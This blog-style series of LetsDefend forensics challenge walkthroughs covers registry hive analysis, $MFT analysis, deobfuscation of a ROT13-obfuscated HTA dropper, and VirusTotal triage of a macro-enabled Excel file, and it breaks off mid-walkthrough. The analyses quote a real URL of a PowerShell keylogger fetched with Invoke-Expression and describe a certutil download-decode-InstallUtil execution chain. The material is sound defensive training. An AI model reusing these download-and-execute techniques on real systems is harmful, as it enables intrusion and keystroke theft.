Registry Explorer: Part of Eric Zimmerman’s tool suite. This GUI-based tool is a " # “Registry viewer with searching, multi-hive support, plugins, and more.“2. RegRipper2.8/3.0: Two versions of RegRipper, a registry forensics tool used to extract information from registry hives using plugins. Version 2.8 is no longer maintained, but sometimes different versions of a tool give different outputs…

Contents of the Tools folder

Now that we have the background information out of the way, let’s get into the investigation! Our first task is to identify the Computer Name within the registry hives. We can locate this information in the SYSTEM hive, which contains the system’s configuration settings. To view this information, let’s check out Registry Explorer by performing the following steps:

Extract Registry Explorer and open the application.
Press File > Load Hive.
Select the SYSTEM hive from the Regs directory.

Now that we have the SYSTEM hive loaded in Registry Explorer, we can work smarter and leverage the search box and enter " # "

computer name” into the field.

Registry Explorer: Searching the SYSTEM hive for Computer Name

This will take us directly to the correct key within the hive, and we can view the ComputerName value to find the answer to Question 1!

Question 2: What is the last shutdown time for this machine?

Next, we’ll need to determine the last shutdown time for the machine from the artifacts. For this task, we’ll continue using Registry Explorer with the SYSTEM hive.

Instead of using the search field to find this string like we did for the last question, let’s leverage the " # "

Bookmarks” tab. Bookmarks are built into Registry Explorer and flag common artifacts, saving us time hunting. Putting this into practice, we’ll use the following process to find the Windows (Last shutdown time):

Within Registry Explorer, press " # "

Bookmarks."

Select the " # "

Common" tab and scroll down to " # "

Windows (Last shutdown time)."

Selecting this option will navigate you to the correct key containing the value we’re looking for.

Registry Explorer: Using Bookmarks to Identify the Last Shutdown Time

There’s just one small hiccup. Did you notice that the data isn’t displayed in a readable Date/Time format? There are a couple of ways we can solve this dilemma, covered below.

Option 1: The simple method using the Data interpreter.

The first way we can approach this is to right-click the ShutdownTime value and then select, **" # "

Data interpreter" **.

Registry Explorer: Selecting the Data Interpreter

Once the Data Interpreter window opens, we can see the interpreted Windows FILETIME value: 2023-03-23 21:53:11

Option B: Converting the data with CyberChef.

I’ll admit, this was the first approach I took before discovering the data interpreter (read the manual, my friends ðŸ˜‘), but I’m leaving this option here in case you ever run across a scenario where the data interpreter is not available, or you’re just curious.

For this approach, copy the RegBinary data from the " # "

Data" column in Registry Explorer:

Registry Explorer: The Data of the ShutdownTime

C446BEDCD15DD901

Then, use your web browser to navigate to CyberChef.

Once you have CyberChef open, paste the data contents into the " # "

input window" .

Add the " # "

**Windows Filetime to UNIX Timestamp" ** operation to the recipe.

Ensure " # "

Output units" is set to Seconds (s).

Select Hex (little endian) as the " # "

Input format" .

Add the " # "

**From UNIX Timestamp" ** operation to the recipe.

The resulting output will display the expected time format.

CyberChef: Converting the ShutdownTime data

One final trick for answering Question 2: pay no attention to the requested answer format. Instead, copy & paste the Windows FILETIME value exactly as we identified it: 2023-03-23 21:53:11

Question 3: What is the time zone name that the machine uses?

The next task is to identify the time zone used by the machine. Fortunately, we can continue to leverage Registry Explorer’s bookmarks and select the " # "

**TimeZoneInformation" ** option to quickly locate this information.

Registry Explorer: Selecting the TimeZoneInformation bookmark

Registry Explorer: Identifying the machine Time Zone

Question 4: What is the IP address of the default gateway?

For Question 4, we’ll need to identify the default gateway IP address of the target system. To locate this information, we’ll leverage the Find tool of Registry Explorer, which we can access by pressing " # "

Tools" and selecting " # "

Find."

We’ll keep the default options and simply enter the string " # “DefaultGateway"into the search box.

Once we press " # "

Search,” we’ll see the results in the bottom pane. The first result gives us the DHCPDefaultGateway value for a specific adapter, leading us to the correct answer.

Questions 5 & 6:

Work" ?

How many logins did the " # "

Work" user have?

Continuing with our investigation, we now need to determine some activities performed by the user " # "

Work." To find this information, we need to pivot from the SYSTEM hive and load the Security Account Manager (SAM) Hive, which contains user information like username, group membership, and login information.

Once we load the SAM hive with Registry Explorer, we can use the available bookmark to discover information about the users on the subject system. Unfortunately, the view is cramped with the limited screen space within the analysis environment, and this is a good excuse to try out another tool — RegRipper3.0.

Registry Explorer: Viewing the Users Key from the SAM Hive

Launch RegRipper3.0 (rr.exe) from the Tools folder to access the GUI. Once it opens, select the SAM hive file, specify a path to export the report to, and let it Rip!

RegRipper Setup

This will produce two output files after the run, which is best explained by SANS:

RegRipper creates two files when it runs. The first is the report file that contains the output of the plugins that were ran against the registry file. The second file is a log file that contains the dates, times, plugins ran, and the number of errors that occurred with the plugins. The log file filename is based off of the report file name minus the extension.

We’ll want to focus on the first file and search for the username " # "

Work." Once we’ve located the account in the output, we’ll find the answers needed to answer Question 5 & 6.

RegRipper: Output for the SAM hive

Questions 7 & 8:

What is the OS " # "

ProductName" ?

What is the OS " # "

BuildNumber" ?

We’re moving right along now! To answer Questions 7 & 8, we’ll need to discover the " # "

ProductName" and " # "

BuildNumber" of the operating system where the dump was captured. Since this isn’t user account-related, we’ll need to search for another artifact — the SOFTWARE hive. The SOFTWARE hive contains the information, settings, and preferences for software installed on the system, including the operating system.

To answer these questions, let’s jump back into Registry Explorer, load the SOFTWARE hive, and use the available common bookmarks, selecting " # "

CurrentVersion (Windows version information (Windows NT key))" .

Registry Explorer: Selecting the CurrentVersion bookmark

This will take us directly to the SOFTWARE\Microsoft\Windows NT\CurrentVersion key, which contains information about the Windows version, including the ProductName and CurrentBuildNumber.

Registry Explorer: Identifying the ProductName & CurrentBuildNumber

Question 9: How many programs run on startup for any user?

To find the answer to Question 9, we’ll need to determine how many programs run on startup for any user. But first, let’s take a step back and understand why autorun applications have the potential to be abused by an attacker.

According to MITRE ATT&CK, a global knowledge base of adversary tactics, techniques, and procedures, a registry run key can be abused for persistence and privilege escalation because " # “adding an entry to the " # "

run keys” in the Registry or startup folder will cause the program referenced to be executed when a user logs in."Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder _Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key…_attack.mitre.org

So, it’s important that we check this key to determine if this feature was abused by an attacker or used for benign, normal tasks. We can again leverage the Registry Explorer bookmarks, selecting " # "

**Run (Run key)" ** to take us to the key for the startup programs for all users.

Registry Explorer: Selecting the Run key bookmark

Registry Explorer: Identifying the startup programs

After selecting the bookmark, we can determine that there are two applications set to run on startup for any user. Both programs appear normal and not malicious.

Question 10: What is the last installed app?

To identify the last app installed, we’ll continue with our analysis of the loaded SOFTWARE hive. To locate the correct registry key, we can search within the available bookmarks for the keyword " # “uninstall.“Why would we search for “uninstall"when we are looking for installed apps? This is because information about software installed on the system is contained in the Software\Microsoft\Windows\CurrentVersion\Uninstall key, where we’ll be able to find information about the install dates for the applications. Let’s try it out:

Press the " # "

Available bookmarks” tab. 2. Enter the string " # "

uninstall” into the search box and press " # "

Find” . 3. Click the key named " # "

Uninstall" . 4. In the right pane, sort the " # "

Timestamp" column to display the most recent results at the top.

Registry Explorer: Identifying the last installed program by timestamp

After analyzing the results of the Uninstall key, we’ll see that the application XAMPP was the last one installed onto the system.

Question 11: What is the " # "

DefaultGatewayMac" ?

To determine the " # "

DefaultGatewayMac," we’ll take a similar approach to what we used back in Question 4. Continuing with the SOFTWARE hive, we’ll once again leverage Registry Explorer’s find tool and enter the string " # “DefaultGatewayMac"into the search box to locate the MAC address data.

After running the search, we’ll see the results in the bottom pane. The value data provides us with the DefaultGatewayMac entry for the network adapter.

Question 12: What is the Machine SID?

We’ve made it to the final question! Our last task is to determine the Machine Security Identifier (SID) of the device. Let’s do some research and get some context for what we’re looking for. According to an article from Forensafe:

A security identifier (SID) is a unique alphanumeric number that identifies a security principal or a security group. Security principals can be a user account, a computer account, a thread, or a process. SID is generated by the system to identify a particular entity at the time it is created.

Investigating Machine SID _18/07/2022 Monday A security identifier (SID) is a unique alphanumeric number that identifies a security principal or a…_forensafe.com

In addition to the fantastic explanation, the article also discloses the location of this file in the registry:

Machine SID is stored in a security database. The default location is Windows\System32\Config\SECURITY\SAM\Domains\Account registry key.

To save you some time, the unfortunate part is that this is a dead-end lead for the artifacts that we have available to us. So, let’s pivot and refer to the question hint for some guidance:

Remember from all the way back in Question 1 that we noted two versions of RegRipper in the Tools folder? Now we know why. Occasionally, leveraging older versions of tools will change how input is parsed — let’s try out RegRipper2.8 and see what we can find.

While like how we set up the 3.0 version, there are some differences. First, point to the SECURITY hive file which contains security policy and settings information. Then, specify your output directory for the two .txt files. Finally, in the profile drop-down, select " # "

security.”

RegRipper2.8: Setup

Once the output file is generated, open it up and we’ll be able to easily locate the Machine SID value that we’re looking for to complete the investigation.

RegRipper2.8 Output: Discovering the Machine SID

Conclusion:

There we have it! By combining Registry Explorer and RegRipper to analyze the provided SYSTEM, SAM, SOFTWARE, and SECURITY registry artifacts, we’ve successfully collected the necessary information from the target computer. We were able to determine valuable information about the device, including the OS, computer name, time zone, and network information. We also learned about user and application activities on the system, giving us a clear view of what the device is and how it’s used — all through the registry. Now that we have scoped the attack and completed our objectives, let’s close out this walkthrough of the RegistryHive challenge!

A big thank you to LetsDefend, for the awesome challenge! This challenge was a great opportunity for me as I am very familiar with the registry but have never had to approach it from a forensics perspective. I knew this experience would help improve my skills and expose me to some of the valuable artifacts available in the registry. The hands-on practice is extremely valuable in the real world. This challenge was also a fantastic opportunity to explore more of Eric Zimmerman’s tools like Registry Explorer. This was an extremely powerful and flexible utility that is now part of my kit. I also had never used RegRipper and was extremely impressed by its ease of use and powerful output. All-in-all, this was a fun way to grow my skills — awesome stuff!

Thank you for your support and partnering up on this investigation. If you found this walkthrough helpful, don’t forget to give it a clap! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we’re in this together!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://app.letsdefend.io/challenge/registryhive

Registry Explorer: https://ericzimmerman.github.io/#!index.md

RegRipper3.0 — GitHub: https://github.com/keydet89/RegRipper3.0

Microsoft Learn — Registry Hives: https://learn.microsoft.com/en-us/windows/win32/sysinfo/registry-hives

Microsoft Learn — File Times: https://learn.microsoft.com/en-us/windows/win32/sysinfo/file-times

CyberChef: https://gchq.github.io/CyberChef/

SANS Blog — RegRipper: Ripping Registries With Ease: SANS Digital Forensics and Incident Response Blog | RegRipper: Ripping Registries With Ease | SANS Institute

MITRE ATT&CK — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder (T1547.001): https://attack.mitre.org/techniques/T1547/001/

Forensafe — Investigating Machine SID: https://forensafe.com/blogs/machine_sid.html

LetsDefend — NTFS Forensics Challenge Walkthrough

Sun, 09 Mar 2025 00:00:00 +0000

LetsDefend — NTFS Forensics Challenge Walkthrough

Investigating a Compromised Endpoint’s $MFT Using MFTExplorer

Image Credit: https://app.letsdefend.io/

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive walkthrough of the NTFS Forensics challenge from LetsDefend, you’re in the right place. Prepare to dive into the world of digital forensics and incident response (DFIR) as we uncover the malware artifacts hidden in the Master File Table.

Challenge Scenario:

As a digital forensics analyst with over a decade of experience, you are the go-to person in your organization for Windows disk forensics. Recently, an alert was triggered on a critical server used by administrators as a jump server. This server is frequently accessed for credential management and other sensitive operations, making it a high-value target. It has now been compromised. You are provided with only the Master File Table (MFT) of the endpoint. Your task is to uncover the actions taken by the threat actors on the endpoint.

In this scenario, we’re stepping into the shoes of a seasoned digital forensics analyst as a high-value server has been compromised. Our goal is to analyze the provided artifacts, uncovering critical details about the attack including the initial access method, how the malware got there, what it did after execution, and understand the indicators of compromise.

There’s just one small problem: we are only provided the Master File Table (MFT) database of the Windows-based endpoint, so we’ll need familiarize ourselves with a utility like Eric Zimmerman’s MFTExplorer to parse the MFT database and analyze the metadata within. Throughout our investigation, we’ll enrich our findings with external documentation from Microsoft Learn to have a comprehensive view of the attack.

Sounds like fun, right? Let’s work through this investigation together. If you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this. Thanks for reading and going on this investigation with me!

Question 1: Identify the malicious downloaded file. What is the file name?

Let’s dive right into this challenge! We’ll kick it off by extracting the challenge file from the archive in the ChallengeFile folder, leaving us with a curious file, $MFT.

If you aren’t familiar with the MFT, let’s build a foundational understanding about this rich source of forensic data according to Microsoft Learn:

" # "

The NTFS file system contains a file called the master file table, or MFT. There is at least one entry in the MFT for every file on an NTFS file system volume, including the MFT itself. All information about a file, including its size, time and date stamps, permissions, and data content, is stored either in MFT entries, or in space outside the MFT that is described by MFT entries."

For our forensic purposes, this means that if we can explore the contents of the MFT, present in the NTFS file system (like the one used in Windows), then we can view metadata for every file on the system.

Let’s put this into practice. One option to analyze the MFT is using Eric Zimmerman’s MFTExplorer, a **" # "

**_Graphical $MFT viewer"to parse the provided MFT file and explore it with a graphical interface. Fortunately for us analysts, MFTExplorer is already installed in the LetsDefend analysis environment and can be found in the " # "

Tools" folder using the path below. Go ahead and launch it.

C:\Users\LetsDefend\Desktop\Tools\Eric Zimmerman Tools\MFTExplorer\MFTExplorer.exe

Once the tool is open:

Click " # "

File" and select " # "

Load MFT."

Navigate to the $MFT challenge file and select it.
Wait for the file to parse. This will take a few minutes, so sit back and relax while it does the magic.

After the file is parsed, you’ll be presented with a familiar view that looks just like the Windows File Explorer. To answer Question 1, we’re looking for a downloaded file, so let’s navigate to the user’s downloads directory at .\Users\LetsDefend\Downloads.

With a quick analysis, we’ll identify the file scanner98.zip as the malicious file, since .ZIP files are commonly used to deliver malware, whereas the other suspicious file x.ps1 (a PowerShell script) is less likely to be the initial delivery method, instead it’s likely it played a role later in the attack.

Question 2: What is the source URL of the downloaded file?

Now that we’ve identified scanner98.zip as the malicious download, let’s select it and scroll through the data interpreter pane. Here, we’ll stumble upon the referrerURL, which shows the URL where the file originated.

The referrerURL is part of the Mark of the Web (MoTW), a feature used in Windows to identify files downloaded from the internet. According to Wikipedia, MoTW is implemented using the alternate data stream (ADS) feature of NTFS, which is why we are able to view this metadata in the MFT.

Question 3: What was the time of download of the malicious file?

The next stop in our investigation is to determine the download time of scanner98.zip. We can accomplish this goal by looking at the time stamp for the SI_Created On column within MFTExplorer.

For added context, this is the $Standard_Information attribute which indicates the file’s download time represented as the time it’s created on disk. For more information on this topic, check out the excellent research from Magnet Forensics, where this concept is explained in much more detail.

Expose Evidence of Timestomping with the NTFS Timestamp Mismatch Artifact - Magnet Forensics _The goal of timestomping is to edit timestamps being displayed and reported in an attempt to make it seem as though the…_www.magnetforensics.com

Question 4: A powershell script was created on disk by the malicious file. What is the full path of this script on the system?

Now it’s time to pivot and inspect the second suspicious file in the directory, x.ps1, that we previously identified as a PowerShell script. We’ve already found the directory in the Parent Path, and we only need to infer that the question is looking for a drive letter too.

Question 5: What is the file size of the script in bytes?

To answer Question 5, we need to determine the file size of x.ps1. To do this, let’s select it and navigate to the " # "

Overview" section in the bottom right of MFTExplorer. Here, we can review the metadata and attributes to locate the **" # "

DATA" ** attribute toward the bottom of the window, focusing on the Content size flag.

Since the view is a little cramped on the LetsDefend environment, we can copy the contents of the Overview pane and paste it into a tool like Notepad++ to make it easier to read.

Now that we’ve identified the Content size attribute, we’ll need to convert the Hexadecimal value to Decimal to match the answer format. For this operation, we can use a tool like RapidTables for, well, rapid conversion.

Hex to Decimal Conversion: https://www.rapidtables.com/convert/number/hex-to-decimal.html?x=98

Question 6: Recover the file contents of this script. What is the URL it reaches out to?

Continuing our analysis of x.ps1, we need to identify any external connections made by the script. Let’s scroll through the data interpreter pane until we stumble across the URL below. You may have also noticed this when we copied the contents into Notepad++ in the previous question.

https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Keylogger.ps1

With either method, we will see that the script contacts a GitHub URL, which might indicate that it’s downloading additional payloads.

Question 7: Based on the content you recovered, what MITRE Technique is observed? Answer the subtechnique id.

Now that we’ve identified the GitHub URL contacted by x.ps1, let’s try to understand what the tool does and map it to the MITRE ATT&CK framework. While we can make some assumptions about the intentions of this script based on the filename, Keylogger.ps1, let’s double-check this by reviewing the raw content of this script on GitHub using the URL we identified in the previous question.

Conveniently, the description confirms that this is indeed a keylogging utility. Now, let’s jump over to MITRE ATT&CK, search for " # "

keylogging" , and note the Technique ID (T1056.001) to answer Question 7.

Input Capture: Keylogging _Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to…_attack.mitre.org

Question 8: Which powershell cmdlet was used to execute the code in the script?

We’ve made it to the last question, which requires us to examine the PowerShell command used to contact the GitHub URL identified in Question 6. Looking back into MFTExplorer, we can identify that the [Invoke-Expression](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.5) (IEX) cmdlet is used to run the command. The [Invoke-Expression](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.5) (IEX) cmdlet is commonly used to execute a string as a command, which in this case, runs the PowerShell script from the GitHub URL.

Conclusion:

There we have it! After analyzing the $MFT with MFTExplorer, we’ve successfully identified the malicious file used for initial access, where it was downloaded from, what second-stage payload is retrieved, and its objective. After that, we mapped this tactic to MITRE ATT&CK to determine that it was a keylogging utility and referenced Microsoft Learn to reveal more details about each of these techniques, painting a clearer picture how the adversary was attacking the victim’s device. Now that we have scoped the attack and completed our objectives let’s close out this walkthrough of the NTFS Forensics challenge!

A big thank you to LetsDefend, for another incredible challenge. I chose to tackle this challenge for the opportunity to dig deeper into NTFS attributes and to practice with MFTExplorer. In the past, I’ve used the CLI version, MFTECmd, and I wanted the hands-on experience with the GUI version. I really appreciated that this challenge was flexible enough to approach in multiple ways. Having a better understanding of the forensic artifacts in the $MFT will absolutely be beneficial in the field. Awesome stuff!

Thanks for the support and going through this investigation with me. Remember, if you found this walkthrough helpful don’t forget to give it a clap! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we’re in this together!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

LetsDefend Challenge Link: https://app.letsdefend.io/challenge/ntfs-forensics

Microsoft Learn — Master File Table (Local File Systems): https://learn.microsoft.com/en-us/windows/win32/fileio/master-file-table

Eric Zimmerman’s Tools — MFTExplorer: https://ericzimmerman.github.io/#!index.md

Wikipedia — Mark of the Web: Mark of the Web — Wikipedia

Magnet Forensics — Expose Evidence of Timestomping with the NTFS Timestamp Mismatch Artifact: https://www.magnetforensics.com/blog/expose-evidence-of-timestomping-with-the-ntfs-timestamp-mismatch-artifact-in-magnet-axiom-4-4/

Rapid Tables: https://www.rapidtables.com/convert/number/hex-to-decimal.html?x=98

MITRE ATT&CK — Hide Artifacts: NTFS File Attributes (T1564.004): https://attack.mitre.org/techniques/T1564/004/

MITRE ATT&CK — Input Capture: Keylogging (T1056.001): https://attack.mitre.org/techniques/T1056/001/

Microsoft Learn — Invoke-Expression: https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.5

Eric Zimmerman’s Tools — MFTECmd: GitHub — EricZimmerman/MFTECmd: Parses $MFT from NTFS file systems

LetsDefend — Obfuscated HTA Challenge Walkthrough

Sun, 02 Mar 2025 00:00:00 +0000

LetsDefend — Obfuscated HTA Challenge Walkthrough

Investigating a suspicious HTA file with Detect-It-Easy, CyberChef, and MITRE ATT&CK.

Image Credit: https://app.letsdefend.io/

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive walkthrough of the Obfuscated HTA challenge from LetsDefend, you’re in the right place.

In this digital forensics and incident response (DFIR) challenge, we’re given a suspicious HTML Application (HTA) file discovered on a malware-infected device. Our goal is to open it up, deobfuscate the code, and determine what this file is doing to prevent this attack from happening again.

To aid us in our investigation of the HTA file, we’ll leverage Detect-It-Easy for the file analysis and CyberChef for the decoding operations. Then, we’ll enrich our findings with MITRE ATT&CK, a global knowledge base of adversary tactics and techniques, and Microsoft Learn to gain a comprehensive understanding of the attack.

Sounds like fun, right? Let’s get into it!

Thanks for reading and going on this investigation with me!

Challenge Scenario:

A suspicious HTA (HTML Application) file was found on an infected machine. The file is obfuscated to hide its true purpose. Your task is to analyze the code, reverse the obfuscation, and determine what the file is doing. Focus on how the code works and the actions it performs to uncover its true purpose.

Question 1: What is the deobfuscated result of the sample in str1?

Let’s kick off our investigation by extracting the suspicious HTA file from sample.7z.

Since we don’t have any information about this file yet, we’ll need to do some sleuthing. A great starting point is to use Detect It Easy (DIE) to identify the file and perform some cursory analysis. Fortunately, this tool is already installed on the LetsDefend analysis environment in the Tools folder. Let’s go ahead and open DIE and point it to the mysterious sample file.

Once DIE is loaded and has parsed the sample, we can confirm it’s an HTML application, which leaves us a couple of options to examine the contents. We can open it in a text editor like Notepad++ or we can examine it within Detect-It-Easy. Either choice will work for this challenge.

For this walkthrough, I’ll be using the latter. In DIE, press the " # "

Binary" button, and select " # "

Strings."

Scroll to line 34, where we see a reference to the str1 variable as scram(sample) — but this doesn’t tell us what the sample is to answer the Question 1.

So, let’s start at the top of the file, looking specifically at line 13. We see var sample defined as a strange-looking, obfuscated string. Now we need to figure out how to decode this and make it readable.

preghgvy.rkr -heypnpur -fcyvg -s

To gain some insight, let’s review the function on lines 14€“19. It appears that var scram is a function that transforms text strings, but the key is the operation on line 19, which references var ranalph variable.

We’re getting closer! Now, focus on var ranalph defined back on line 9, and notice var alph right above it. Comparing them, var alph letter A matches var ranalph letter N, B matches O, C matches P, etc. meaning that the letters are replaced with the letter 13 places after it…this sounds like the ROT13 cipher!

Now that we have a theory about what encoding is being used, let’s test it out and speed up our analysis by using CyberChef. This utility is included in the Tools folder of the LetsDefend VM, or you can use the web-based version — your choice!

Either way, once in CyberChef, paste the encoded var sample string we found earlier, add the ROT13 operation to the recipe, and check out the output — I think we’ve found the answer to Question 1!

But, before we go too much further, let’s examine the output and focus on the usage of certutil.exe. While we don’t yet have the full context of the application, we can start to build the narrative by referring to MITRE ATT&CK’s reference for certutil for additional intelligence.

Reviewing the associated techniques, we’ll discover that " # "

certutil _can be used to download files from a given URL"(T1105). Based on the decoded strings that we discovered in CyberChef, this might indicate that the application performs some download actions.

Let’s keep this in mind as we continue analyzing the rest of the file.

Question 2: After deobfuscating the sample in str2, what is the resulting output?

Now that we’ve determined how the strings are obfuscated, let’s find the sample variable used by str2. We can find this down on line 39, where we see an IP address with some additional obfuscated strings.

To discover the answer to Question 2, we’ll copy the line into CyberChef again using our existing recipe to reveal some additional clues.

We’ve now found an IP address and port where a file (file.txt) is downloaded from, and the directory it’s then copied to on the local system.

This puts us very close to the answer, but the output doesn’t quite match the answer format, does it? We can add the " # "

Find / Replace" operation to the recipe to clean up the extra characters, which should get us to the correct format.

Question 3: What is the deobfuscated result of sample in str3?

To answer Question 3, we’ll perform the same actions that we did in the last question. We’ll find this sample on line 42. Once again, drop it into CyberChef to decode the protocol used.

Question 4: What does the sample in str4 translate to after deobfuscation?

Can you guess what we need to do to answer Question 4?

That’s right! We’ll copy the contents of the sample on line 46 and jump back over to CyberChef.

Once the string is deobfuscated, we’ll uncover another piece of the puzzle. Remember in Question 2, we found evidence of where file.txt was downloaded from? From this new snippet, we see the next step: certutil is used to decode the contents of file.txt and output the results as a new binary, bp.exe.

But how did that happen? Let’s refer back to the MITRE ATT&CK page for certutil to gather more information. We already learned that certutil can be used to download files, but we also see another associated technique (T1140) listed, which is relevant for this question:

certutil has been used to decode binaries hidden inside certificate files as Base64 information.

We can also check the syntax on Microsoft Learn to validate this as well:

certutil [options] -decode InFile OutFile

Question 5: What is the deobfuscated result of sample in str5?

Next up, copy the sample content on line 50 for str5 and return to CyberChef.

After decoding this command, we can determine that the InstallUtil.exe provided as part of the Microsoft .NET Framework interacts with the newly created binary, bp.exe.

Installutil.exe (Installer Tool) - .NET Framework _Use Installutil.exe, the Installer Tool. This tool lets you install or uninstall server resources by executing the…_learn.microsoft.com

Question 6: What is the deobfuscated value of the " # "

wobj" variable?

To answer Question 6, find the sample on line 36.

According to Microsoft Learn, wscript " # “provides an environment in which users can execute scripts in various languages that use various object models to perform tasks,“indicating some script usage.

Question 7: What is the purpose of the cmd variable in the script?

Now it’s time to put together all the pieces of the puzzle we’ve found so far. First, locate the cmd variable on line 54.

We can see that this command is built by combining the strings identified in the previous steps. So, we just need to plug in values for str3, str2, str1, and normalize them to match the required answer format.

While there might be a more efficient way to do this, I chose to perform this process manually in Notepad.

By doing this, we can determine that the full command downloads the second stage payload. Based on the comment on line 53, we can infer that the command sets an environment variable to help the script evade detection by Windows Defender. As we discovered earlier, the script uses certutil.exe to download a file from the specified IP address, port, and path, saving it to C:\Windows\Tasks\file.txt.

By piecing this all together, we can confirm that the purpose of the cmd variable is to stealthily download the file, file.txt, using a living-off-the-land binary, certutil.exe.

Question 8: What is the second command executed by the " # "

ActiveXObject”

We’ve made it to the last question! All that’s left is to look at the cmd2 variable on line 55, which is the second command executed by the ActiveXObject.

This command is more straightforward; it’s simply str4, which we analyzed back in Question 4. The answer for this question should be the same.

Conclusion:

There we have it — great job! Using the Detect-It-Easy and CyberChef, we’ve successfully identified and decoded the application’s strings obfuscated with the ROT13 cipher. With this information, we discovered that the script within the HTA file downloaded a second-stage payload by leveraging the living-off-the-land binary, certutil.exe. After that, this same LOLbin was used to decode the contents, forming a new binary which was executed using InstallUtil.exe. During the investigation, we turned to MITRE ATT&CK and Microsoft Learn to reveal more details about each of these techniques to better understand the adversary’s actions on the victim’s device. Now that we have scoped the attack and completed our objectives, let’s close out this walkthrough of the Obfuscated HTA challenge!

A big thank you to LetsDefend, for another engaging and challenging lab scenario. This was a really fun challenge for me to figure out how the obfuscation was performed and then leverage that information to understand the attack story. I chose this one as I’ve not had an opportunity to analyze an HTA file in a threat context before, so I wanted to see how that process would look. As always, I found so much value by researching on MITRE ATT&CK and Microsoft Learn to fully understand what TTPs we saw — it’s always a great practice for the real world. Awesome stuff!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://app.letsdefend.io/challenge/obfuscated-hta

Wikipedia — HTML Application: https://en.wikipedia.org/wiki/HTML_Application

Detect-It-Easy: https://github.com/horsicq/Detect-It-Easy

Wikipedia — ROT13: https://en.wikipedia.org/wiki/ROT13

CyberChef: https://gchq.github.io/CyberChef/

MITRE ATT&CK — Certutil (S0160): https://attack.mitre.org/software/S0160/

MITRE ATT&CK — Ingress Tool Transfer (T1105): https://attack.mitre.org/techniques/T1105/

MITRE ATT&CK — Deobfuscate/Decode Files or Information (T1140): https://attack.mitre.org/techniques/T1140/

Microsoft Learn — Certutil: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil#-decode

Microsoft Learn — InstallUtil.exe (Installer tool): https://learn.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool

Microsoft Learn — wscript: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wscript

LetsDefend — Remote Working Challenge Walkthrough

Mon, 03 Feb 2025 00:00:00 +0000

LetsDefend — Remote Working Challenge Walkthrough

Investigating a suspicious XLSM file with VirusTotal

Image Credit: https://app.letsdefend.io/

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog while searching for a comprehensive walkthrough of the Remote Working challenge from LetsDefend, you’re in the right place.

In this scenario, we’re provided with a suspicious Excel file, and it’s up to us to determine whether it’s malicious or not. To do this, we’ll collect the file hash and hunt on VirusTotal to see what we can learn about the sample.

This challenge is perfect for beginners and serves as a primer for using VirusTotal for triage, rather than focusing on static analysis of the malicious file directly. However, it offers great practice opportunities for all skill levels. Sounds like fun, right? Let’s get into it!

Thanks for reading and going on this investigation with me!

Challenge Link: https://app.letsdefend.io/challenge/remote-working

Challenge Scenario:

Analysis XLS File

File link: /root/Desktop/ChallengeFiles/ORDER_SHEET_SPEC.zip

Question 1: What is the date the file was created? (UTC) Answer Format: YYYY-MM-DD HH:MM:SS

Let’s kick off this challenge by extracting the sample file from ORDER_SHEET_SPEC.zip within the ChallengeFiles folder.

Inside, we’ll find a macro-enabled Excel file, ORDER SHEET & SPEC.xlsm. While a macro-enabled file doesn’t necessarily mean it’s malicious, it does raise some suspicions, especially if it was delivered over email like in a phishing campaign. But that’s what we’re here to figure out!

We’ll start our analysis with getting an overview of the suspicious file by grabbing its SHA256 file hash. With this unique hash, we can pivot our search to an external threat intelligence service, like VirusTotal, to save time in our analysis and quickly determine the file’s status.

We’ll grab the file hash of the sample directly from a terminal window within our analysis environment by right-clicking in the folder and selecting " # "

Open in Terminal" to launch it.

Once in the terminal, we can use the command below to calculate the SHA256 hash of the sample:

sha256sum ‘ORDER SHEET & SPEC.xlsm’

With the file hash in hand, navigate to VirusTotal and submit it to see if the file has been previously analyzed. Once the results load, you’ll notice that most security vendors have already detected the file as malicious.

VirusTotal VirusTotalwww.virustotal.com

To find the answer to Question 1, navigate to the Details tab of the submission, and look under History to find the file’s creation time.

https://www.virustotal.com/gui/file/7bcd31bd41686c32663c7cabf42b18c50399e3b3b4533fc2ff002d9f2e058813/details

Real World Tip: If you’re new to using VirusTotal, it’s important to remember that public submissions are made available to the security community. DO NOT upload anything that contains personal or confidential data.

Question 2: With what name is the file detected by Bitdefender antivirus?

Navigate back to the Detection tab of the VirusTotal page. Under the security vendors’ analysis section, locate the malware threat name reported by Bitdefender.

https://www.virustotal.com/gui/file/7bcd31bd41686c32663c7cabf42b18c50399e3b3b4533fc2ff002d9f2e058813/detection

Question 3: How many files are dropped on the disk?

Continuing our analysis, let’s determine how many files are dropped on the disk once the malware is executed. We can locate this information on the Behavior tab, scrolling down to the Files Dropped section, and counting the entries.

https://www.virustotal.com/gui/file/7bcd31bd41686c32663c7cabf42b18c50399e3b3b4533fc2ff002d9f2e058813/behavior

Question 4: What is the sha-256 hash of the file with emf extension it drops?

Expanding on the information we collected in the last question; we need to locate a dropped file with the .emf extension. Once we’ve found it, press the + button to expand the selection, revealing the SHA256 hash of the dropped file.

Question 5: What is the exact url to which the relevant file goes to download spyware?

We’ve made it to the final question! There are several spots within VirusTotal where we can determine the network communication but for this walkthrough, let’s use the Relations tab and focus on the Contacted URLs section.

Of the two URLs, we can see that one of them is hosting an executable file. That’s pretty suspicious…

